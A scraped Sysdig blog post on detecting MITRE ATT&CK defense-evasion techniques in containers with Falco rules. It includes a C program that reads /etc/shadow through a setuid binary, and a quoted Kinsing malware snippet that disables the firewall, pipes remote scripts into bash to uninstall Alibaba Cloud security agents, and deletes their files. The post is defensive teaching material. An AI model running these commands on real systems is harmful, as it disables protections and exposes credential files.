

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)

sysdig



BACK TO BLOG

Detecting MITRE ATT&CK: Defense evasion techniques with Falco

BY KAIZHE HUANG - FEBRUARY 2, 2021

TOPICS: [COMPLIANCE](#), [KUBERNETES & CONTAINER SECURITY](#), [OPEN SOURCE](#)



This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

The **defense evasion** category inside [MITRE ATT&CK](#) covers several techniques an attacker can use to avoid getting caught. Familiarizing yourself with these techniques will help secure your infrastructure.

MITRE ATT&CK is a comprehensive knowledge base that analyzes all of the tactics, techniques, and procedures (TTPs) that advanced threat actors could

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



In this article, we will walk through a few techniques that can be classified as **MITRE defense evasion**. We'll also provide examples of how an open-source tool like **Falco** can help you detect these container security attacks.

Looking for a commercial offering?

If so, checkout [Sysdig Secure](#) that provides image scanning, compliance runtime security and incident response for containers and Kubernetes. Start a free [30 day trial here!](#)

MITRE category: Defense evasion

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP [GET THE GUIDE](#)



- Resource Development (6)
- Initial Access (9)
- Execution (10)
- Persistence (18)
- Privilege Escalation (12)
- Defense Evasion (37)**
- Credential Access (15)
- Discovery (25)
- Lateral Movement (9)
- Collection (17)
- Command and Control (16)
- Exfiltration (9)
- Impact (13)

- Access Token Manipulation
- BITS Jobs
- Deobfuscate/Decode Files or Information
- Direct Volume Access
- Domain Policy Modification
- Execution Guardrails
- Exploitation for Defense Evasion
- File and Directory Permissions Modification
- Hide Artifacts
- Hijack Execution Flow
- Impair Defenses**
- Indicator Removal on Host
- Indirect Command Execution
- Masquerading
- Modify Authentication Process
- Modify Cloud Compute Infrastructure
- Modify Registry
- Modify System Image
- Obfuscated Files or Information
- Pre-OS Boot
- Process Injection
- Rogue Domain Controller
- Rootkit
- Signed Binary Proxy Execution
- Signed Script Proxy Execution
- Subvert Trust Controls
- Template Injection
- Traffic Signaling
- Trusted Developer Utilities Proxy Execution
- Unused/Unsupported Cloud Regions
- Use Alternate Authentication Material
- Valid Accounts
- Virtualization/Sandbox Evasion
- Weaken Encryption
- XSL Script Processing

Sometimes these actions are just variations of techniques in other categories, modified to have the added benefit of subverting a particular defense or mitigation.

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Hands on with defense evasion

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



we'll look for some insights that will help us detect them.

Abuse elevation control mechanism: setuid and setgid

In modern operating systems, processes run under a user space with limited permissions. However, they include mechanisms to elevate privileges when it's time to install an application, open a port, or run other administrative tasks.

Attackers can abuse these elevation control mechanisms to run code as administrators and access to private information.

In Linux, part of this mechanism is handled with the `setuid` bit and the `setgid` bit of a file. By default, when a file is executed it runs under the current users' context. However, if the `setuid` bit is set in the file, then the file will be executed under the file owner's context.

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

the user accounts in the system.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
```

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)

sysdig

```
fp = fopen("/etc/shadow", "r");
if (fp == NULL) {
    printf("Cannot open file '/etc/shadow'\n");
    exit(0);
}
while (fgets(line, sizeof(line), fp)) {
    printf("%s", line);
}
fclose(fp);
return 0;
}
```

Now, let's compile this code, set `root` as the owner for the resulting binary, and allow other users to execute it.

What will happen if we run this program with and without the `setuid` bit set?

When the `setuid` bit is not set (note the `-rwx` permissions on the file):

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Reading the `/etc/shadow` file fails.

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)




Running the program as the current user (`ubuntu`) is now a success:

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details 

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



We can draw a quick conclusion here: **You should remove the unnecessary setuid bit from files owned by high privilege users.**

Impair defenses: Disable or modify tools

Once an attacker gets access into the victim's environment, before they start probing the environment too much, it will try to disable security tools so that they may not be blocked or caught.

We can take our recent research of the kinsing attack as an example. There, we noticed such a pattern inside the malicious payload:

```
# Disable firewall
ufw disable
```

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

```
# Stop security service from Ali Cloud
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
```

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



This code snippet is part of the Kinsing payload, and we added comments to make it easier to follow.

We can see how the attacker tried to disable the firewall, flushed the iptables rules, and disabled SELinux, AppArmor, and the security agents from Ali Cloud. The script will succeed if the attacker managed to acquire root privileges when they hacked into the environment, as the operations above usually require admin privileges.

This may be easier than you think. As we saw [in our latest annual container security and usage report](#), **56% of container images are running as root**. If the attacker successfully jail broke from a container running as root, they already have the privileges to disable security tools running on the host.

Disabling security tools is common during the maintenance of environments with restricted access. However, it is uncommon in an operational production

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Now that we know what threats we are facing, we can start defending against them.

You can cover some attack entry points in advance. With [image scanning](#), you can check your images for things like unnecessary open ports, images running as root,

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)

sysdig

[Falco](#) is the CNCF open-source project for runtime threat detection for containers and Kubernetes. It is a [container security](#) tool designed to **detect anomalous activity** in your containers. Falco taps into system calls to generate an event stream of all system activity. Falco's rules engine then allows you to create rules based on this event stream, allowing you to alert on system events that seem abnormal. Falco's rich language allows you to write rules at the host level and identify suspicious activity.

Let's follow up on our previous examples, and see how you can detect defense evasion with Falco.

Detect setuid bit or setgid bit changes of a file

As we covered earlier, once the [setuid](#) bit or [setgid](#) bit is set in a file, that file will be executed with the owner's privilege.

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

```
find . -perm /6000
```

But what if the file permissions change during runtime?

You can use the following Falco rule to detect such a scenario:

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)

sysdig

```
group respectively.  
  Detect setuid or setgid bits set via chmod  
condition: >  
  consider_all_chmods and chmod and (evt.arg.mode contains "S_ISUID" or evt.arg.mode  
contains "S_ISGID")  
  and not proc.name in (user_known_chmod_applications)  
  and not exe_running_docker_save  
  and not user_known_set_setuid_or_setgid_bit_conditions  
output: >  
  Setuid or setgid bit is set via chmod (fd=%evt.arg.fd filename=%evt.arg.filename  
mode=%evt.arg.mode user=%user.name user_loginuid=%user.loginuid process=%proc.name  
  command=%proc.cmdline container_id=%container.id container_name=%container.name  
image=%container.image.repository:%container.image.tag)  
priority:  
  NOTICE  
tags: [process, mitre_persistence]
```

And once there is an attempt to add the `setuid` bit or `setgid` bit to a file, an alert will be generated:

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)




This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details 

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



Going back to the Kinsing attack, we saw how attackers will try to disable security tools for the purpose of not being blocked or caught.

Here is the Falco rule that detects such behavior:

```
- macro: disable_apparmor
  condition: (proc.name in (systemctl, service) and (proc.cmdline contains "disable" or
proc.cmdline contains "\"stop\"") and (proc.cmdline contains "apparmor"))
- macro: disable_selinux
  condition: (proc.cmdline = "setenforce 0")
- macro: disable_ufw
  condition: (proc.name=ufw and proc.cmdline contains "disable")
- rule: Disable Security Tools
  desc: Detect an attempt to disable security tools like ufw, AppArmor, SELinux
  condition: spawned_process and (disable_apparmor or disable_selinux or disable_ufw)
  output: Security tool is disabled (user=%user.name user_loginuid=%user.loginuid
command=%proc.cmdline parent_process=%proc.pname container_id=%container.id
image=%container.image.repository:%container.image.tag)
```

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

syscalls and K8s audit logs to detect intrusions and malicious activity. By mapping Falco rules to the MITRE ATT&CK Defense Evasion category, security teams can streamline their threat detection and response workflows.

To learn more about Falco, please check out the [Falco repo](#) and [Falco website](#), or join our [CNCF Falco slack channel](#).

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



runtime security and incident response for containers and Kubernetes.
Start a free [30 day trial here!](#)

Subscribe and get the latest updates

SUBMIT →

☐ Also keep me informed of Sysdig news + updates

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details ▼

PRODUCTS

- Sysdig Secure
- Sysdig Monitor

PARTNERS

- Sysdig Partners
- Deal Registration
- Partner Signup

COMPANY

- About Us
- Leadership
- Careers

SUPPORT

- Support
- Sysdig Status
- Documentation

SOCIAL

- Twitter
- Github
- Slack

Sysdig is a Representative Vendor in the 2024 Gartner® Market Guide for CNAPP

[GET THE GUIDE](#)



Sitemap



® Copyright 2024 Sysdig, Inc.

[Privacy Policy](#)

[Subprocessors](#)

[Trust Center](#)

This website uses cookies

Sysdig uses cookies to personalize content and ads, to provide social media features and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. You can at any time change or withdraw your consent from the [Cookie Declaration](#) on our website.

[Use necessary cookies only](#)

Accept

Show details